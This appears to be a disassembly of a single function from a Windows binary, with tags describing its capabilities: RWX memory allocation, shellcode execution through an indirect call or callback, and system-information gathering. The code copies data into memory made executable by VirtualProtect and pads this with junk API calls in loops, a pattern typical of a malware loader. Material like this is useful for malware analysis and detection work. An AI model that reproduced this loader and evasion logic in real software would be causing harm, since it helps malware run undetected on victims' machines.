Function at 0x40375e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x803a37
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1cd4
call fcn.0040bb90
push ebx
push esi
xor esi, esi
cmp dword [0xc6ad9c], 0x5b1
push edi
jne 0x4037fe
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402db8
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea eax, [esp + 0x24]
call fcn.00403ab6
push esi
mov dword [esp + 0x1cf0], esi
call fcn.0040464b
pop ecx
call fcn.004045e9
lea ecx, [esp + 0x18]
call fcn.0040339c
lea ecx, [esp + 0x18]
call fcn.004033b5
push esi
push esi
call fcn.00404968
push esi
call fcn.00404939
add esp, 0xc
push esi
call fcn.00404d81
add dword [0xc6ad9c], 0x1134b
push dword [0xc6ad9c]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push dword [0xc6ad9c]
mov dword [0xc43f3c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403856
inc edi
cmp edi, 0x4f6a4
jl 0x403836
xor edi, edi
cmp dword [0xc6ad9c], esi
jbe 0x4038b4
cmp dword [0xc6ad9c], 0xa8
mov eax, dword [0xc6b800]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0xc43f3c]
mov byte [ecx + edi], al
jne 0x4038ab
push 0x402e00
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402e30
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
inc edi
cmp edi, dword [0xc6ad9c]
jb 0x403860
xor edi, edi
mov eax, dword [0xc6ad9c]
add eax, edi
cmp eax, 0xe
jne 0x40391a
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402e90
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
lea eax, [esp + 0x8e4]
push eax
push esi
push 0x402e98
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402f00
push 0x402f18
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [esp + 0x14e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x4038b6
call fcn.00403647
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403937
call fcn.00403744
inc edi
cmp edi, 0x6753f
jl 0x40392a
push 0x7b
pop edi
cmp dword [0xc6ad9c], 0x86
jne 0x4039a8
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x402f38
push 0x402f88
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x403000
push 0x402e0c
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x10e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x4e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec edi
jne 0x403943
push 0x403038
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x1ce4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret